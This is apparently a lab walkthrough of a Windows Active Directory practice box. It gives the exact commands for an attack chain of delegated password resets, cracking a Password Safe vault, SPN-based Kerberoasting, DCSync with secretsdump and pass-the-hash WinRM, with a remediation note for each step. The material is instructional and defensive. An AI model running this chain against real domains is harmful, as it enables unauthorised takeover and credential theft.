J. Perez Duertojperezduerto.info
← all walkthroughs

Administrator

Windows· Medium
owned
2026-07-28
time to own
7m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I entered the Windows domain using credentials supplied at engagement start, then exhaustively enumerated Active Directory object permissions to discover a three-hop delegated password-reset chain (Olivia → Michael → Benjamin). Benjamin's credentials unlocked an FTP share holding a Password Safe backup vault; GPU-accelerated cracking of the vault master password revealed credentials for Emily.

Emily held a GenericWrite right over Ethan, which was abused to write a fake Service Principal Name onto his account, making him Kerberoastable. The captured Kerberos service ticket was cracked offline to recover Ethan's plaintext password.

Ethan held DCSync replication rights on the domain root, enabling a targeted dump of the built-in Administrator's NTLM hash. That hash was presented directly in a pass-the-hash WinRM session — no password cracking required — granting full control over the domain controller and completing total domain compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH2="<the-hash-you-recovered>"

Attack path — how the box was taken

1EnumerationActive Directory ACL enumeration via BloodHound (T1069.002)
Validated supplied credentials and mapped Active Directory delegated permissions
The engagement-start credentials Olivia's password were confirmed valid against the domain controller ($TARGET, Windows Server 2022, domain administrator.htb) via SMB and WinRM, both returning Pwn3d!. A full BloodHound collection was run under Olivia's context, revealing that Olivia held a ForceChangePassword (delegated password reset) right over the account Michael, and that Michael in turn held the same right over Benjamin — a ready-made lateral movement chain requiring no exploitation, only AD API calls.
Nxc smb and nxc winrm both returned [+] administrator.htb\Olivia's password (Pwn3d!); BloodHound graph revealed Olivia → Michael and Michael → Benjamin ForceChangePassword edges.
Exact commands 4
shell

Add DC hostname and domain to local resolution.

$ echo "$TARGET dc.administrator.htb administrator.htb" | sudo tee -a /etc/hosts
shell

Confirm SMB access and retrieve OS/domain metadata.

$ nxc smb $TARGET -u Olivia -p $PASSWORD3
shell

Confirm WinRM remote execution (Pwn3d! = full command execution).

$ nxc winrm $TARGET -u Olivia -p $PASSWORD3
shell

Collect full AD graph; import the resulting zip into BloodHound to visualise delegated ACL paths.

$ bloodhound-python -u Olivia -p $PASSWORD3 -d administrator.htb -ns $TARGET -c All --zip
2Lateral MovementAbusing delegated ForceChangePassword ACL (T1098)
Chained delegated password resets to gain access to Benjamin's account
Olivia's ForceChangePassword right over Michael was exercised through bloodyAD to set a known password on Michael's account with no knowledge of his current credential. A WinRM session under Michael was then used to invoke the native Set-ADAccountPassword cmdlet against Benjamin, exploiting Michael's identical right over him. Both resets are silent Active Directory operations — no exploit code, no alerts from standard endpoint tooling — and each left I with a valid, immediately-usable credential.
BloodyAD set password completed without error for Michael; nxc winrm with the password returned Pwn3d! For both Michael and subsequently Benjamin.
Exact commands 3
shell

Reset Michael's password using Olivia's delegated ForceChangePassword right.

$ bloodyAD --host $TARGET -d administrator.htb -u Olivia -p $PASSWORD3 set password michael "$PASSWORD2"
shell

From Michael's WinRM session, reset Benjamin's password using Michael's delegated right.

$ nxc winrm $TARGET -u michael -p $PASSWORD2 -X "Set-ADAccountPassword -Identity benjamin -Reset -NewPassword (ConvertTo-SecureString '$PASSWORD2' -AsPlainText -Force) -Verbose"
shell

Confirm Benjamin's new credentials grant WinRM access.

$ nxc winrm $TARGET -u benjamin -p $PASSWORD2
FixRemove delegated password-reset rights from regular user accountsCritical
WeaknessThree regular domain accounts (Olivia, Michael, Benjamin) each held ForceChangePassword delegation over the next account in the chain. This allowed a single compromised user to silently reset two additional accounts' passwords with no knowledge of their current credentials and no multi-factor challenge.
FixAudit all Active Directory ACLs using BloodHound or Get-ObjectAcl (PowerView) and immediately remove ForceChangePassword, WriteDACL, and GenericAll assignments between peer user objects. Delegated password-reset rights belong only on dedicated Tier-0/Tier-1 service accounts (e.g., a specific helpdesk service account) scoped to a designated OU, never between peer user objects. Enforce quarterly ACL review as a standing operational task and alert on unexpected ACL changes via a SIEM rule targeting AD audit event 5136.
3Credential TheftCredential access via misconfigured FTP share and offline password-safe cracking (T1552.001)
Retrieved a Password Safe vault from FTP and cracked it to expose Emily's credentials
Benjamin's credentials authenticated to an FTP share on the DC. Recursive download of its contents yielded a Password Safe v3 backup file (Backup.psafe3). The vault's master-password hash was extracted with pwsafe2john and submitted to a GPU cracker (hashcat mode 5200 against rockyou.txt on an RTX 3090 at ~110 GH/s); CPU-based cracking on the Kali VM was orders of magnitude too slow and was abandoned. The cracked master password opened the vault, exposing the plaintext domain credential for the account Emily.
Backup.psafe3 pulled via wget from ftp://$TARGET; hashcat cracked vault master password and exposed emily's password.
Exact commands 3
shell

Mirror all FTP content under Benjamin's account; Backup.psafe3 is retrieved in this download.

$ wget -m --user=benjamin --password=$PASSWORD2 ftp://$TARGET/ -P /tmp/ftploot
shell

Extract a hashcat/john-compatible hash from the Password Safe v3 file.

$ pwsafe2john /tmp/Backup.psafe3 > /tmp/psafe.hash
shell

Run on GPU host, not Kali VM. Mode 5200 = Password Safe v3. Cracked master password unlocks vault revealing Emily's credential.

$ hashcat -m 5200 -a 0 /tmp/Backup.psafe3 /usr/share/wordlists/rockyou.txt --potfile-disable -o /tmp/psafe.out
FixRemove credential backups from network-accessible file sharesCritical
WeaknessA Password Safe v3 vault containing plaintext domain credentials for multiple accounts was stored on an FTP share reachable by a low-privilege domain user. Anyone who obtained that user's credential could retrieve the vault and crack the master password offline at GPU speed, exposing all stored secrets.
FixImmediately remove all password vault files, credential exports, and any document containing passwords from every network share (SMB, FTP, NFS). Audit shares for sensitive file types (*.psafe3, *.kdbx, *.xlsx, *.csv, *.txt matching password patterns) using a DLP scan. If encrypted vault backups are operationally necessary, store them offline or in a PAM-controlled secrets vault (e.g., CyberArk, HashiCorp Vault) with audited access. Rotate every credential found in the recovered Backup.psafe3 immediately.
4FootholdRemote service access with stolen credentials (T1021.006)
Authenticated as Emily via WinRM and captured the user flag
Emily's recovered credentials were used to open a WinRM remote session on the DC. The user flag was read directly from Emily's Desktop and submitted. Post-access AD enumeration of Emily's object rights revealed she held GenericWrite over the account Ethan, meaning she could write any attribute to his AD object — a right subsequently leveraged to register a fake Service Principal Name and enable Kerberoasting.
Nxc winrm returned Pwn3d! For emily's password; user.txt read from C:\Users\emily\Desktop\user.txt; BloodHound confirmed Emily → Ethan GenericWrite edge.
Exact commands 2
shell

Confirm Emily's credentials and WinRM access.

$ nxc winrm $TARGET -u emily -p "$PASSWORD"
shell

Read the user flag from Emily's Desktop.

$ nxc winrm $TARGET -u emily -p "$PASSWORD" -X "type C:\Users\emily\Desktop\user.txt"
5Privilege EscalationGenericWrite → SPN abuse → Kerberoasting (T1558.003)
Abused GenericWrite to add a fake SPN to Ethan and Kerberoast his account
Emily's GenericWrite right on Ethan's AD object permitted writing the servicePrincipalName attribute. A synthetic, non-existent SPN (HTTP/roastme.administrator.htb) was added to Ethan's account, instructing the Kerberos KDC to issue service tickets encrypted with Ethan's current password hash. The TGS ticket was requested through netexec and written to disk. GPU-accelerated hashcat (mode 13100, rockyou.txt) cracked the RC4-encrypted ticket offline to recover the plaintext password.
Set-ADUser -ServicePrincipalNames succeeded; nxc ldap --kerberoasting captured Ethan's TGS-REP hash; hashcat recovered ethan's password.
Exact commands 3
shell

Write a fake SPN onto Ethan using Emily's GenericWrite right.

$ nxc winrm $TARGET -u emily -p "$PASSWORD" -X "Set-ADUser -Identity ethan -ServicePrincipalNames @{Add='HTTP/roastme.administrator.htb'}"
shell

Request TGS tickets for every SPN-bearing account, capturing Ethan's newly-added roastable ticket.

$ nxc ldap $TARGET -u emily -p "$PASSWORD" --kerberoasting /tmp/kroast.txt
shell

Crack the TGS-REP hash on GPU host. Mode 13100 = Kerberos 5 TGS-REP etype 23. Recovers ethan's password.

$ hashcat -m 13100 -a 0 /tmp/kroast.txt /usr/share/wordlists/rockyou.txt --potfile-disable
FixRemove GenericWrite and attribute-write ACLs between peer user accountsHigh
WeaknessEmily held GenericWrite over Ethan's AD object, which permitted writing the servicePrincipalName attribute. Adding any SPN to a user account causes the KDC to issue a Kerberos service ticket encrypted with that user's password hash, enabling offline cracking regardless of password complexity.
FixUse BloodHound or Get-ObjectAcl to identify and remove GenericWrite, WriteProperty, and GenericAll grants between peer user accounts across the entire domain. Scoped attribute delegation (e.g., manager write-back for HR) must use a dedicated service account and target specific, non-exploitable attributes only. Additionally, configure all user accounts with msDS-SupportedEncryptionTypes = 0x18 (AES-128/256 only) to prevent RC4-based Kerberoasting; AES-encrypted tickets cannot be cracked with current wordlists at practical speeds. Audit SPN assignments monthly for unexpected additions.
6Privilege EscalationDCSync / DS-Replication privilege abuse (T1003.006)
Used Ethan's DCSync rights to dump the domain Administrator's NTLM hash
Ethan held the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain partition — together, these constitute the DCSync capability. Impacket secretsdump was run over the network under Ethan's credentials, targeting only that account to minimise operational noise. The call mimics a legitimate domain controller replication request and returned the Administrator's current NTLM password hash without requiring any agent footprint on the DC itself.
Impacket-secretsdump returned the hash via a network-only replication call using Ethan's credential.
Exact commands 2
shell

Confirm Ethan's cracked credentials before running DCSync.

$ nxc smb $TARGET -u ethan -p $PASSWORD4
shell

DCSync only the Administrator account; -just-dc-user limits the replication scope and reduces log noise. Returns NTLM hash.

$ impacket-secretsdump administrator.htb/ethan:$PASSWORD4@$TARGET -just-dc-user Administrator
FixRevoke DCSync replication rights from all non-domain-controller accountsCritical
WeaknessEthan, a standard domain user, held the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain partition. Together these rights enable DCSync — replicating every password hash in the directory over a standard network connection, without requiring any footprint on the domain controller.
FixImmediately remove both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All from every account that is not a legitimate domain controller machine account or a PAM-managed AD Connect sync account. Verify by querying the domain root's ACL: Get-ADObject (Get-ADDomain).DistinguishedName -Properties * | Select -Expand nTSecurityDescriptor. Enforce quarterly review and configure a SIEM alert on event ID 4662 (directory service object access with replication GUIDs) from any non-DC source address.
7Full CompromisePass-the-Hash NTLM authentication (T1550.002)
Authenticated as domain Administrator via pass-the-hash and captured the root flag
The domain Administrator's NTLM hash was presented directly to the WinRM service without any password-cracking step. Because Windows NTLM authentication accepts the hash itself as proof of identity, I authenticated as the built-in domain Administrator and opened a remote command session. The root flag was read from the Administrator Desktop, confirming complete domain controller ownership. Every account, credential, and secret in the Active Directory forest was now accessible to me.
Nxc winrm -u Administrator -H <withheld> returned [+] administrator.htb\Administrator (Pwn3d!); root.txt read from C:\Users\Administrator\Desktop\root.txt.
Exact commands 2
shell

Authenticate as Administrator using only the NTLM hash — no password required.

$ nxc winrm $TARGET -u Administrator -H $HASH2
shell

Read the root flag to confirm full domain Administrator control.

$ nxc winrm $TARGET -u Administrator -H $HASH2 -X "type C:\Users\Administrator\Desktop\root.txt"
FixMitigate NTLM pass-the-hash by enforcing Kerberos and enabling Protected UsersHigh
WeaknessThe domain accepted NTLM authentication for WinRM, allowing an unauthorised user to authenticate as the built-in Administrator using only the captured NTLM hash — without ever cracking or knowing the password. Once any NTLM hash is obtained (via DCSync, memory dumping, or relay), the account is fully compromised with no further work.
FixAdd the built-in Administrator and all Domain Admin accounts to the Protected Users security group, which disables NTLM authentication for those accounts and forces Kerberos-only logon. Set the domain Network Security: LAN Manager Authentication Level policy to 'Send NTLMv2 response only; refuse LM and NTLM' (level 5). Enable the 'Network security: Restrict NTLM' policies to deny NTLM where Kerberos is available. Deploy Windows Defender Credential Guard on all domain-joined hosts to prevent credential material from being read out of LSASS memory. Rotate the krbtgt account password twice after any suspected compromise to invalidate all outstanding Kerberos tickets.

Attack patterns used

The transferable techniques behind this compromise.

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.